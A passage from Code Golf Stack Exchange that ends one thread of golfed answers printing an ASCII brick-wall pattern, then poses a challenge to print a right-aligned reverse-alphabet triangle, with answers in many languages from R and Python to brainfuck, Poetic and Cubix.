"_|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|" 020000d2 "___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|__" 02000118 "_|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|" 0200015e "___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|__" 020001a4 "_|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|" 020001ea "___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|__" 02000230 "_|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|" 02000276 "___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|__" ``` [Answer] # Pyth, 12 bytes Code: ``` jcT*175"_|__ ``` Explanation: ``` "_|__ # For the string "_|__" *175 # Repeat it 175 times cT # Chop into 10 equal pieces j # Join them by newlines ``` [Try it here](https://pyth.herokuapp.com/?code=jcT%2a175%22_%7C__&debug=0). [Answer] ## Python 2, 37 bytes ``` s="_|__"*17;print(s+"_|\n__%s\n"%s)*5 ``` Decomposes two rows as 17 copies of `_|__`, plus another copy interrupted by a newline, plus 17 more copies, plus another newline. Longer alternatives: ``` print"%s_|\n__%s\n"%(2*("_|__"*17,))*5 s="_|__"*17;print"%s_|\n__%%s\n"%s%s*5 for i in[0,2]*5:print("_|__"*18)[i:i+70] print("_|__"*17+"_|\n"+"___|"*17+"__\n")*5 for s in["_|__","___|"]*5:print(s*18)[:70] s="_|__"*99;exec"print s[:70];s=s[2:];"*10 print("%s"*70+"\n")*10%(175*tuple("_|__")) ``` [Answer] # [05AB1E](http://github.com/Adriandmen/05AB1E), 13 bytes Code: ``` "_|__"175×Tä» ``` Explanation: ``` "_|__" # For the string "_|__" 175× # Repeat that 175 times Tä # Split into 10 even pieces » # And join them by newlines ``` Uses the **CP-1252** encoding. [Try it online!](http://05ab1e.tryitonline.net/#code=Il98X18iMTc1w5dUw6TCuw&input=) [Answer] # PHP, ~~44~~ ~~42~~ 41 characters ``` <?=chunk_split(str_pad(_,700,"|___"),70); ``` (Just because had no chance to use `chunk_split()` ever before.) Thanks to: * [user59178](https://codegolf.stackexchange.com/users/59178/user59178) for suggesting to use `str_pad()` (-1 character) Sample run: ``` bash-4.3$ php <<< '<?=chunk_split(str_pad(_,700,"|___"),70);' _|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___| ___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|__ _|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___| ___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|__ _|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___| ___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|__ _|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___| ___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|__ _|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___| ___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|__ ``` [Answer] ## Vim, ~~30~~ ~~24~~ 19 keystrokes ``` 18a___|<esc>YP2x}h.yk4P ``` Thanks to DrMcMoylex and nmjcman101 for saving valuable keystrokes! [Answer] # Perl, ~~47~~ ~~34~~ 29 bytes ``` $_="_|__"x175;say for/.{70}/g ``` [Answer] ## Perl, 31 bytes ``` say+($@="_|__"x17,"_| __$@ ")x5 ``` You'll need `-E` flag to run it : ``` perl -E 'say+($@="_|__"x17,"_| __$@ ")x5' ``` [Answer] # [V](http://github.com/DJMcMayhem/V), ~~24~~, 16 bytes ``` 175i_|__ò70|lé ``` [Try it online!](http://v.tryitonline.net/#code=MTc1aV98X18bw7I3MHxsw6kK&input=) This contains `<esc>` characters (`0x1B`) so here is a hexdump: ``` 0000000: 3137 3569 5f7c 5f5f 1bf2 3730 7c6c e90a 175i_|__..70|l.. ``` 8 bytes indirectly saved thanks to Jordan! [Answer] # [V](https://github.com/DJMcMayhem/V), 18 bytes -1 byte thanks to DJMcMayhem. ``` 175i_|__<Esc>Ó.û70}/°ò ``` Here it is with unprintable characters in xxd format: ``` 0000000: 3137 3569 5f7c 5f5f 1bd3 2efb 3730 7d2f 175i_|__....70}/ 0000010: b0f2 .. ``` [Try it online!](http://v.tryitonline.net/#code=MTc1aV98X18bw5Muw7s3MH0vwrDDsg&input=) [Answer] # MATL, 15 bytes ``` '_|__'700:)70e! ``` Of course, you can [Try it online!](http://matl.tryitonline.net/#code=J198X18nNzAwOik3MGUh&input=) Explanation: ``` '_|__' % Put a brick on the stack 700 % 700 times :) % Makes a happy mason... 70e! % Secret freemason code ``` OK, actually, it works as follows: ``` '_|__' % Put the first bit of the string on the stack 700: % Put 1, 2, ..., 700 on the stack as array ) % Index into the string, modularly. Result: '_|___|__ ... __' 70e % Reshape into 70 rows (and consequently, 10 columns) ! % Transpose to get the desired output. ``` [Answer] # Python 2, ~~46~~ 44 Bytes Just using string multiplication to build the string, and slicing to get the right bits :) ``` k='_|__'*18 print'\n'.join([k[:70],k[2:]]*5) ``` *thanks to Antony Hatchkins for saving two bytes :)* [Answer] # [Jelly](https://github.com/DennisMitchell/jelly), 14 [bytes](https://github.com/DennisMitchell/jelly/wiki/Code-page) ``` “_|__”ṁ700s70Y ``` **[TryItOnline!](http://jelly.tryitonline.net/#code=4oCcX3xfX-KAneG5gTcwMHM3MFk&input=)** ### How? ``` “_|__”ṁ700s70Y - Main link: no arguments “_|__” - literal ['_','|','_','_'] ṁ700 - mould like something 700 long s70 - split into chunks of length 70 Y - join with line feeds ``` [Answer] ## PowerShell v2+, ~~34~~ 30 bytes ``` '_|__'*175-split"(.{70})"-ne'' ``` Stupid regex matching algorithm requiring the `-ne''` ... wastes five bytes! ``` '_|__'*175-split"(.{70})"-ne'' '_|__'*175 # Repeat this string 175 times -split" " # Split on this regex pattern: .{70} # Match any character 70 times ( ) # Encapsulated in parens so we keep the regex results -ne'' # But don't select the empty strings # Output with newlines via Write-Output is implicit ``` *Saved 4 bytes thanks to Conor!* [Answer] # C, ~~131~~ ~~115~~ ~~113~~ ~~103~~ ~~97~~ 95 Bytes ``` i,j;main(){for(;i<10;puts(i++&1?"|__":"|"))for(j=0;j<18-(i&1);printf(&"|___"[j++?0:i&1?1:3]));} ``` Time to start golfing this... ``` _|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___| ___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|__ _|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___| ___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|__ _|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___| ___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|__ _|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___| ___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|__ _|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___| ___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|__ ``` [Answer] # [MATL](http://github.com/lmendo/MATL), 16 bytes ``` '___|'10:E!70:+) ``` [Try it online!](http://matl.tryitonline.net/#code=J19fX3wnMTA6RSE3MDorKQ&input=) ``` '___|' % Push this string 10:E! % Push [2; 4; 6; ...; 20] (10×1 column vector) 70: % Push [1, 2, 3, ..., 70] (1×70 row vector) + % Add. Gives a 10×70 matrix of all pairwise additions ) % Index (modular, 1-based) into the string ``` [Answer] # [CJam](http://sourceforge.net/projects/cjam/), 15 bytes ``` "_|__"175*70/N* ``` [Try it online!](http://cjam.tryitonline.net/#code=Il98X18iMTc1KjcwL04q&input=) Port of [Adnan's 05AB1E answer](https://codegolf.stackexchange.com/a/99032/36398). ``` "_|__" e# Push this string 175* e# Repeat 175 times 70/ e# Split in pieces of size 70 N* e# Join by newlines ``` [Answer] **Javascript REPL, 45 bytes** ``` "_|__".repeat(175).match(/.{70}/g).join("\n") ``` [Answer] # JavaScript (ES6), 48 bytes ``` f=(n=350)=>n?(n%35?'_':` _`)+"|_"[n%2]+f(n-1):"" ``` Because recursion. [Answer] # Bash, 44, 41, 40 bytes ``` printf _\|__%.0s {1..175}|egrep -o .{70} ``` The printf makes a single line 700 characters long, the egrep matches it 70 characters at a time. [Answer] # [///](https://esolangs.org/wiki////), 43 bytes ``` /a/___|//b/aaccccc//c/aaa//d/_|b b__ /ddddd ``` [Try it online!](https://tio.run/##FcaxDQAgDAPBnmV@JMsBJAq6tOwe4KrL7VwzqzCSDgR2/6C/GgY60UJqjK/qAg "/// – Try It Online") [Answer] # [Befunge-98](https://esolangs.org/wiki/Funge-98), 63 bytes ``` '_\:3+4%0`!> #0 #\ #|' $ #\_\,1+:7a*%0`!> #0 #, #a_:7aa**\`!#@_ ``` [TryItOnline!](http://befunge-98.tryitonline.net/#code=J19cOjMrNCUwYCE-ICMwICNcICN8JyAkICNcX1wsMSs6N2EqJTBgIT4gIzAgIywgI2FfOjdhYSoqXGAhI0Bf&input=) [Answer] # ///, 51 bytes If a trailing newline is allowed: ``` /e/aaaa//a/_|__//b/eeeea_|//c/__eeeea//d/b c /ddddd ``` [Try it online!](http://slashes.tryitonline.net/#code=L2UvYWFhYS8vYS9ffF9fLy9iL2VlZWVhX3wvL2MvX19lZWVlYS8vZC9iCmMKL2RkZGRk&input=) [Answer] ## Pyke, 12 bytes ``` w�"_|__"*TfX ``` where `�` is the literal byte 163. [Try it here!](http://pyke.catbus.co.uk/?code=175%22_%7C__%22%2aTfX) (`w�` replaced with literal) [Answer] # Ruby, 30 bytes Thanks to manatwork for this solution ``` puts ("_|__"*175).scan /.{70}/ ``` # Ruby, 39 bytes ``` 10.times{|i|puts ("_|__"*18)[i%2*2,70]} ``` ]
[Question] [ Inspired by [a bug](https://tio.run/##S9ZNT07@/z9TJ8s6TSM5I7FIq1izujwjMydVA8RKyy/SyLI1M7XOsrE0tM7S1tbUKra1zbIvKMrMK0nTUNMqBgpZQXlKCkqa1gWlJcUaSkBGbe3/3MTMPA2gIRpKUZER4WGhIcFBgQH@fr4@3l6eHu5uri7OTo4glf8B) in a solution to [this challenge](https://codegolf.stackexchange.com/q/141372/61563), your challenge is to produce this exact text: ``` ZYXWVUTSRQPONMLKJIHGFEDCBA YXWVUTSRQPONMLKJIHGFEDCBA XWVUTSRQPONMLKJIHGFEDCBA WVUTSRQPONMLKJIHGFEDCBA VUTSRQPONMLKJIHGFEDCBA UTSRQPONMLKJIHGFEDCBA TSRQPONMLKJIHGFEDCBA SRQPONMLKJIHGFEDCBA RQPONMLKJIHGFEDCBA QPONMLKJIHGFEDCBA PONMLKJIHGFEDCBA ONMLKJIHGFEDCBA NMLKJIHGFEDCBA MLKJIHGFEDCBA LKJIHGFEDCBA KJIHGFEDCBA JIHGFEDCBA IHGFEDCBA HGFEDCBA GFEDCBA FEDCBA EDCBA DCBA CBA BA A ``` * The first line will have 25 spaces, then the alphabet backwards starting from the 26th letter (`ZYXWVUTSRQPONMLKJIHGFEDCBA`), then a newline. * The second line will have 24 spaces, then the alphabet backwards starting from the 25th letter (`YXWVUTSRQPONMLKJIHGFEDCBA`), then a newline. * ... * The last (26th) line will have no spaces, then the alphabet backwards starting from the 1st letter (`A`), then a newline. Additional rules: * Your program may use any allowed output methods. * One trailing newline and/or one leading newline is allowed. * There must be one newline between lines containing the letters, no more. * The letters must be all uppercase. As with [code-golf](/questions/tagged/code-golf "show questions tagged 'code-golf'"), the shortest submission wins. Good luck! Leaderboard: ``` var QUESTION_ID=141725,OVERRIDE_USER=61563;function answersUrl(e){return"https://api.stackexchange.com/2.2/questions/"+QUESTION_ID+"/answers?page="+e+"&pagesize=100&order=desc&sort=creation&site=codegolf&filter="+ANSWER_FILTER}function commentUrl(e,s){return"https://api.stackexchange.com/2.2/answers/"+s.join(";")+"/comments?page="+e+"&pagesize=100&order=desc&sort=creation&site=codegolf&filter="+COMMENT_FILTER}function getAnswers(){jQuery.ajax({url:answersUrl(answer_page++),method:"get",dataType:"jsonp",crossDomain:!0,success:function(e){answers.push.apply(answers,e.items),answers_hash=[],answer_ids=[],e.items.forEach(function(e){e.comments=[];var s=+e.share_link.match(/\d+/);answer_ids.push(s),answers_hash[s]=e}),e.has_more||(more_answers=!1),comment_page=1,getComments()}})}function getComments(){jQuery.ajax({url:commentUrl(comment_page++,answer_ids),method:"get",dataType:"jsonp",crossDomain:!0,success:function(e){e.items.forEach(function(e){e.owner.user_id===OVERRIDE_USER&&answers_hash[e.post_id].comments.push(e)}),e.has_more?getComments():more_answers?getAnswers():process()}})}function getAuthorName(e){return e.owner.display_name}function process(){var e=[];answers.forEach(function(s){var r=s.body;s.comments.forEach(function(e){OVERRIDE_REG.test(e.body)&&(r="<h1>"+e.body.replace(OVERRIDE_REG,"")+"</h1>")});var a=r.match(SCORE_REG);a&&e.push({user:getAuthorName(s),size:+a[2],language:a[1],link:s.share_link})}),e.sort(function(e,s){var r=e.size,a=s.size;return r-a});var s={},r=1,a=null,n=1;e.forEach(function(e){e.size!=a&&(n=r),a=e.size,++r;var t=jQuery("#answer-template").html();t=t.replace("{{PLACE}}",n+".").replace("{{NAME}}",e.user).replace("{{LANGUAGE}}",e.language).replace("{{SIZE}}",e.size).replace("{{LINK}}",e.link),t=jQuery(t),jQuery("#answers").append(t);var o=e.language;/<a/.test(o)&&(o=jQuery(o).text()),s[o]=s[o]||{lang:e.language,user:e.user,size:e.size,link:e.link}});var t=[];for(var o in s)s.hasOwnProperty(o)&&t.push(s[o]);t.sort(function(e,s){return e.lang>s.lang?1:e.lang<s.lang?-1:0});for(var c=0;c<t.length;++c){var i=jQuery("#language-template").html(),o=t[c];i=i.replace("{{LANGUAGE}}",o.lang).replace("{{NAME}}",o.user).replace("{{SIZE}}",o.size).replace("{{LINK}}",o.link),i=jQuery(i),jQuery("#languages").append(i)}}var ANSWER_FILTER="!t)IWYnsLAZle2tQ3KqrVveCRJfxcRLe",COMMENT_FILTER="!)Q2B_A2kjfAiU78X(md6BoYk",answers=[],answers_hash,answer_ids,answer_page=1,more_answers=!0,comment_page;getAnswers();var SCORE_REG=/<h\d>\s*([^\n,]*[^\s,]),.*?(\d+)(?=[^\n\d<>]*(?:<(?:s>[^\n<>]*<\/s>|[^\n<>]+>)[^\n\d<>]*)*<\/h\d>)/,OVERRIDE_REG=/^Override\s*header:\s*/i; ``` ``` body{text-align:left!important}#answer-list,#language-list{padding:10px;width:290px;float:left}table thead{font-weight:700}table td{padding:5px} ``` ``` <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script> <link rel="stylesheet" type="text/css" href="//cdn.sstatic.net/codegolf/all.css?v=83c949450c8b"> <div id="answer-list"> <h2>Leaderboard</h2> <table class="answer-list"> <thead> <tr><td></td><td>Author</td><td>Language</td><td>Size</td></tr></thead> <tbody id="answers"> </tbody> </table> </div><div id="language-list"> <h2>Winners by Language</h2> <table class="language-list"> <thead> <tr><td>Language</td><td>User</td><td>Score</td></tr></thead> <tbody id="languages"> </tbody> </table> </div><table style="display: none"> <tbody id="answer-template"> <tr><td>{{PLACE}}</td><td>{{NAME}}</td><td>{{LANGUAGE}}</td><td>{{SIZE}}</td><td><a href="{{LINK}}">Link</a></td></tr></tbody> </table> <table style="display: none"> <tbody id="language-template"> <tr><td>{{LANGUAGE}}</td><td>{{NAME}}</td><td>{{SIZE}}</td><td><a href="{{LINK}}">Link</a></td></tr></tbody> </table> ``` [Answer] # [R](https://www.r-project.org/), ~~67~~ 55 bytes ``` for(i in 26:1)cat(rep(" ",i-1),LETTERS[i:1]," ",sep="") ``` [Try it online!](https://tio.run/##K/r/Py2/SCNTITNPwcjMylAzObFEoyi1QENJQUknU9dQU8fHNSTENSg4OtPKMFZHiUtJpzi1wFZJSfP/fwA "R – Try It Online") [Answer] # [05AB1E](https://github.com/Adriandmen/05AB1E), 7 bytes ### Code: ``` ₂žp.s1Λ ``` Uses the **05AB1E** encoding. [Try it online!](https://tio.run/##MzBNTDJM/f//UVPT0X0FesWG52b//w8A "05AB1E – Try It Online") ### Explanation ``` žp.s # Get the suffixes of ZYX...CBA Λ # Using the canvas mode, print the ₂ # first 26 elements of the array 1 # into the upper-right direction ``` [Answer] # [Python 2](https://docs.python.org/2/), 57 bytes ``` i=26 while i:i-=1;print' '*i+bytearray(range(65+i,64,-1)) ``` [Try it online!](https://tio.run/##K6gsycjPM/r/P9PWyIyrPCMzJ1Uh0ypT19bQuqAoM69EXUFdK1M7qbIkNbGoKLFSoygxLz1Vw8xUO1PHzERH11BT8/9/AA "Python 2 – Try It Online") [Answer] # [V](https://github.com/DJMcMayhem/V), ~~13~~, 11 bytes ``` ¬ZAòY>HGpxl ``` [Try it online!](https://tio.run/##K/v//9CaKMfDmyLtPNwLKnL@/wcA "V – Try It Online") Hexdump: ``` 00000000: ac5a 41f2 593e 4847 7078 6c .ZA.Y>HGpxl ``` Written from my phone :P. ``` ¬ZA " Insert the alphabet backwards ò " Recursively: Y " Yank this current line >H " Add one space to every line G " Move to the last line in the buffer p " Paste the line we yanked x " Delete one character l " Move one character to the right, which will throw an error on " the last time through, breaking the loop ``` [Answer] # [PowerShell](https://github.com/TryItOnline/TioSetup/wiki/Powershell), 42 bytes ``` 25..0|%{' '*$_+-join[char[]]((65+$_)..65)} ``` [Try it online!](https://tio.run/##K8gvTy0qzkjNyfn/38hUT8@gRrVaXUFdSyVeWzcrPzMvOjkjsSg6NlZDw8xUWyVeU0/PzFSz9v9/AA "PowerShell – Try It Online") ### Explanation: ``` 25..0|%{ } # Loop from 25 to 0 (65+$_)..65 # Construct a range of the specific ASCII codes [char[]]( ) # Cast that as a character array -join # that has been joined together into a string ' '*$_+ # Prepended with the correct amount of spaces ``` [Answer] # Bash + GNU sed, 60 ``` printf %s {Z..A}|sed 'h s/./ /g G s/ \n// :x p s/ \S// tx d' ``` [Try it online](https://tio.run/##S0oszvj/v6AoM68kTUG1WKE6Sk/PsbamODVFQT2Dq1hfT19BP53LHchSiMnT1@eyquAqAHOCgZySCq4U9f//AQ). [Answer] # [///](https://esolangs.org/wiki////), ~~105~~ 97 bytes ``` /:/\\\\*//#/:Z:Y:X:W:V:U:T:S:R:Q:P:O:N:M:L:K:J:I:H:G:F:E:D:C:B:A//\\*/\/\/_____# \/ //_/ //*# ``` [Try it online!](https://tio.run/##Fcu7DoIwAEbh3ado0o3l38@mIuAFQVBQ0qRhIGFg6/un0u/MJ2xzWJcQo5DbZZIVEz@@jAx8eNPT8aKl4UnNgzs3rlSUFFzIOXPiKKXZ7fnEHpyM5GUSKbMx/gE "/// – Try It Online") ### Explanation /// only knows one command, `/<pattern>/<substitution>/<text>` replaces all occurrences of `<pattern>` in `<text>` with `<substitution>`. Additionally `\` can be used to escape characters. Shortened code for simplicity: ``` /:/\\\\*//#/:E:D:C:B:A//\\*/\/\/__# \/ //_/ //*# ``` The first command `/:/\\\\*/` replaces `:` with `\\*` in the subsequent code. This gives: ``` /#/\\*E\\*D\\*C\\*B\\*A//\\*/\/\/__# \/ //_/ //*# ``` Then `/#/\\*E\\*D\\*C\\*B\\*A/` replaces `#` with `\*E\*D\*C\*B\*A`: ``` /\\*/\/\/__\*E\*D\*C\*B\*A \/ //_/ //*\*E\*D\*C\*B\*A ``` Then `/\\*/\/\/__\*E\*D\*C\*B\*A<newline>\/ /` replaces `\*` with `//__*E*D*C*B*A<newline>/`: ``` /_/ //*//__*E*D*C*B*A / E//__*E*D*C*B*A / D//__*E*D*C*B*A / C//__*E*D*C*B*A / B//__*E*D*C*B*A / A ``` Notice: I had to use `\*` for replacement. Since `*` is also part of the substitution, it would generate an infinite loop if I only replace `*`. Then command `/_/ /` replaces `_` with spaces, and `/*//` deletes all `*`: ``` EDCBA / E// EDCBA / D// EDCBA / C// EDCBA / B// EDCBA / A ``` The next command `/#//` replaces `#` by nothing. Since there is no `#` in the code, it does nothing. This is just here to remove the two leadings `//` from the beginning of the code. This leaves ``` EDCBA / E// EDCBA / D// EDCBA / C// EDCBA / B// EDCBA / ``` Then the command `/ E//` removes `<space>E`, so this will leave the code ``` EDCBA DCBA / D// DCBA / C// DCBA / B// DCBA / ``` Similar `/ D//` removes `<space>D`: ``` EDCBA DCBA CBA / C// CBA / B// CBA / ``` `/ C//`: ``` EDCBA DCBA CBA BA / B// BA / ``` `/ B//`: ``` EDCBA DCBA CBA BA A / ``` And the last command is incomplete, so it does nothing: ``` EDCBA DCBA CBA BA A ``` [Answer] ## Haskell, ~~53~~ 52 bytes ``` f(a:b)=(b>>" ")++a:b++'\n':f b f x=x f['Z','Y'..'A'] ``` [Try it online!](https://tio.run/##y0gszk7Nyfn/P00j0SpJ01Yjyc5OSUFJU1sbyNXWVo/JU7dKU0jiSlOosK3gSrdNi1aPUtdRj1TX01N3VI/9n5uYmadgq1BQWhJcUqSQ/h8A "Haskell – Try It Online") How it works ``` f['Z','Y'..'A'] -- call f with the full backwards alphabet f(a:b)= -- let `a` be the first char and `b` the rest. Return (b>>" ") ++ -- replace each char in b with a space, followed by a:b ++ -- the input string, followed by '\n' : -- a newline, followed by f b -- a recursive call of `f` with `b` f x=x -- stop on an empty input string ``` [Answer] # JavaScript (ES6), ~~83~~ ~~77~~ 76 bytes ``` f=(n=0,p='')=>n<26?f(++n,p+' ')+p+`ZYXWVUTSRQPONMLKJIHGFEDCBA `.slice(~n):'' o.innerText = f() ``` ``` <pre id=o> ``` [Answer] # [Python 2](https://docs.python.org/2/), ~~66~~ 64 ``` i=26 while i:i-=1;print' '*i+'ZYXWVUTSRQPONMLKJIHGFEDCBA'[25-i:] ``` [Try it online!](https://tio.run/##K6gsycjPM/r/P9PWyIyrPCMzJ1Uh0ypT19bQuqAoM69EXUFdK1NbPSoyIjwsNCQ4KDDA38/Xx9vL08PdzdXF2clRPdrIVDfTKvb/fwA "Python 2 – Try It Online") [Answer] # [brainfuck](https://github.com/TryItOnline/tio-transpilers), 105 bytes ``` ++++++++[>+>+++++++++++>++++>+++<<<<-]>++>++>>++[[->+>+<<]>-[-<<.>>]>[-<<<<.->>>+>]<-[-<+<<+>>>]<<<<.>>>] ``` [Try it online!](https://tio.run/##RYrRCYBQDAMHKnWCkEVKP1QQRPBDcP6aPhQPUhJ6yzXv53avR5W9BI32w@9AeHIMKhHeJpD0cGAik11UnTKY6IcM@RoYDrPqAQ "brainfuck – Try It Online") Minified and formatted: ``` ++++++++[>+>+++ ++++++++>++++>+ ++<<<<-]>++>++> >++[[->+>+<<]>- [-<<.>>]>[-<<<< .->>>+>]<-[-<+< <+>>>]<<<<.>>>] ``` Readable version: ``` [ pre-initialize the tape with the values 10 90 32 >26< C_NEWLINE: 10 V_ALPHA: 90 C_SPACE: 32 V_COUNTER: 26 AS: 10 = 8 * 1 + 2 90 = 8 * 11 + 2 32 = 8 * 4 + 0 26 = 8 * 3 + 2 ] 8 ++++++++ [ * 1 >+ * 11 >+++++++++++ * 4 >++++ * 3 >+++ <<<<-] PLUS 2 >++ PLUS 2 >++ PLUS 0 > PLUS 2 >++ UNTIL V_COUNTER == 0 [ COPY V_COUNTER to RIGHT and RIGHT_RIGHT [->+>+<<] TAPE: 10 V_ALPHA 32 >0< V_COUNTER_R V_COUNTER_RR V_COUNTER_R SUB 1 TIMES: >-[- PRINT C_SPACE <<. >>] TAPE: 10 V_ALPHA 32 0 >0< V_COUNTER_RR V_COUNTER_RR TIMES: >[- PRINT V_ALPHA <<<<. DECREMENT V_ALPHA - INCREMENT V_COUNTER_R >>>+ >] TAPE: 10 V_ALPHA 32 0 V_COUNTER_R(26) >0< V_COUNTER_R SUB 1 TIMES: <-[- INCREMENT V_COUNTER <+ INCREMENT V_ALPHA <<+ >>>] PRINT C_NEWLINE <<<<. >>>] ``` [Answer] # [Poetic](https://mcaweb.matc.edu/winslojr/vicom128/final/), 601 bytes ``` one night i camped a bit throughout all the forest now the sweet sights i saw giant things i saw little small things here i am seated around all my trees i saw i sleep i sle-e-p sleep in a cabin i am sleep-y i sleep a bit i awaken in bed i stand i walk i am ready i saw a vision of a dragon i am fooled i know i am should i f-ight i f-light i did f-light i did a flight go away,i do imply i*m afraid i run i leave i flee i am timid i*m just a person,not toughie-tough-guy no,never i*m waste i am stupid a quitter i was i am stupid i*m turning around i do not appreciate camping i cry i am crying no no ``` Poetic is an esolang I created in 2018 for a class project, and it is a brainfuck derivative in which the lengths of words correspond to brainfuck commands (and the +, -, >, and < commands each have 1-digit arguments). The fact that only word-length dictates the commands means that I technically could have created a program entirely composed of non-words (i.e. the letter X as many times as needed, with spaces in between words), but I wanted to make an interesting free-verse poem out of it while not adding any unnecessary bytes. If you want to try it online (which is half the point of the class project in the first place), check out [my online interpreter](https://mcaweb.matc.edu/winslojr/vicom128/final/tio/)! [Answer] # [Jelly](https://github.com/DennisMitchell/jelly), 12 bytes ``` ØAµ⁶ṁḊ;ṚµƤṚY ``` [Try it online!](https://tio.run/##y0rNyan8///wDMdDWx81bnu4s/Hhji7rhztnHdp6bAmQivz/HwA "Jelly – Try It Online") ``` ØAµ⁶ṁḊ;ṚµƤṚY Main Link ØA "ABC...XYZ" Ƥ For each prefix, µ⁶ṁḊ;Ṛµ Monadic Link ⁶ ' ' ṁ (with automatic repetition) molded to the shape of Ḋ All but the first letter of the input (repeat - 1) ; With the input appended to it Ṛ reversed Y Join on newlines Ṛ Flip upside down ``` -3 bytes thanks to miles [Answer] # [Octave](https://www.gnu.org/software/octave/), ~~53~~ ~~49~~ ~~46~~ 45 bytes *1 byte removed thanks to [@Sanchises](https://codegolf.stackexchange.com/users/32352/sanchises)* ``` for k=25:-1:0,disp([blanks(k) 65+k:-1:65])end ``` [Try it online!](https://tio.run/##y08uSSxL/f8/Lb9IIdvWyNRK19DKQCcls7hAIzopJzEvu1gjW1PBzFQ7GyRjZhqrmZqX8v8/AA) [Answer] # [05AB1E](https://github.com/Adriandmen/05AB1E), 10 bytes ``` žpDvÐg<ú,¦ ``` [Try it online!](https://tio.run/##MzBNTDJM/f//6L4Cl7LDE9JtDu/SObTs/38A "05AB1E – Try It Online") **Explanations:** ``` žpDvÐg<ú,¦ žp Push the uppercased alphabet, reversed D Duplicate v For each letter (we just want to loop 26 times, so we use the already pushed alphabet for that purpose) Ð Triplicate g< Length of the string - 1 ú Add that number of spaces at the beginning of the string , Print with newline ¦ Remove the 1st element of the remaining copy of the string ``` [Answer] # [Perl 6](https://perl6.org), 37 bytes *Saved 9 bytes thanks to @Massa.* ``` say " "x$_,chrs $_+65...65 for 25...0 ``` [Try it online!](https://tio.run/##K0gtyjH7/784sVJBSUGpQiVeJzmjqFhBJV7bzFRPT8/MVCEtv0jBCMQ2@P8fAA "Perl 6 – Try It Online") **Explanation:** `25...0` is a range from 25 to 0 (as expected). We iterate over that range, saying (= printing with newline) that many spaces and the string of characters that have ASCII codes (`chrs`) from 65 + that number (`$_+65...65`). [Answer] # Vim, 43 keystrokes ``` :h<_<CR>jjYZZPVgUxjpqqy$-i <Esc>lpl"aDYPD"ap+q25@q ``` You can see it in action in this GIF made using [Lynn's](https://codegolf.stackexchange.com/users/3852/lynn) [python script](https://gist.github.com/lynn/5f4f532ae1b87068049a23f7d88581c5) [![enter image description here](https://i.stack.imgur.com/qaLoG.gif)](https://i.stack.imgur.com/qaLoG.gif) [Answer] # [Charcoal](https://github.com/somebody1234/Charcoal), ~~19~~ 11 bytes *-8 bytes thanks to ASCII-only.* ``` F²⁶«P⮌…α⊕ι↗ ``` [Try it online!](https://tio.run/##S85ILErOT8z5/z8tv0hBw8hMU6GaSwEIfEtzSjILijLzSjSCUstSi4pTNXzzc1I0EnUUtLUzNTU1Iaryy1I1rEILgjLTM0o0uWr///@vW/ZftzgHAA "Charcoal – Try It Online") Link is to verbose version. [Answer] # [Ruby](https://www.ruby-lang.org/), 54 52 bytes ``` 25.downto 0{|n|puts' '*n+[*?A..?Z][0..n].reverse*''} ``` [Try it online!](https://tio.run/##KypNqvz/38hULyW/PK8kX8GguiavpqC0pFhdQV0rTztay95RT88@KjbaQE8vL1avKLUstag4VUtdvfb/fwA "Ruby – Try It Online") [Answer] # [Cubix](https://github.com/ETHproductions/cubix), 43 ~~46~~ bytes ``` $/\;u:\s/':(!$u;:'@^!@Wu;oSU;o+<u(;;oN;(!| ``` [Try it online!](https://tio.run/##Sy5Nyqz4/19FP8a61CqmWF9dykpDUaXU2krdIU7RIbzUOj841Dpf26ZUw9o6389aQ7Hm/38A "Cubix – Try It Online") Cubified ``` $ / \ ; u : \ s / ' : ( ! $ u ; : ' @ ^ ! @ W u ; o S U ; o + < u ( ; ; o N ; ( ! | . . . . . . . . . . . ``` [Watch it run](https://ethproductions.github.io/cubix/?code=ICAgICAgJCAvIFwKICAgICAgOyB1IDoKICAgICAgXCBzIC8KJyAaIDogKCAhICQgdSA7IDogJyBAIF4KISBAIFcgdSA7IG8gUyBVIDsgbyArIDwKdSAoIDsgOyBvIE4gOyAoICEgfCAuIC4KICAgICAgLiAuIC4KICAgICAgLiAuIC4KICAgICAgLiAuIC4K&input=Cg==&speed=20) Have managed to shave a few more of this, but it was a bit more difficult than I thought. There is a substitute character after the first quote to give me 26. * `'<sub>` push 26 onto the stack as the base number * `:(!` duplicate base as a counter, decrement, test for truthy * `u` on true skip the `$` command and u-turn to the right + `So;u` push 32, output as character, pop 32 and u-turn right onto the decrement * `$` on false jump the next `u` command * `;:'@^` pop, duplicate the base number, push 64 onto stack and redirect into a torturous route * `$\s/:\/u;$` this is the order of the steps on the top face. It boils down to swap the counter with the 64. Ends with a skip over the redirect that put it here. * `<+o;U` redirect to add, output character, pop, u-turn left * `(!` decrement, test for truthy. If true starts on a path which hits the u-turn and goes back to the redirect. * `|(;No` on false, reflect, redundant test, redundant 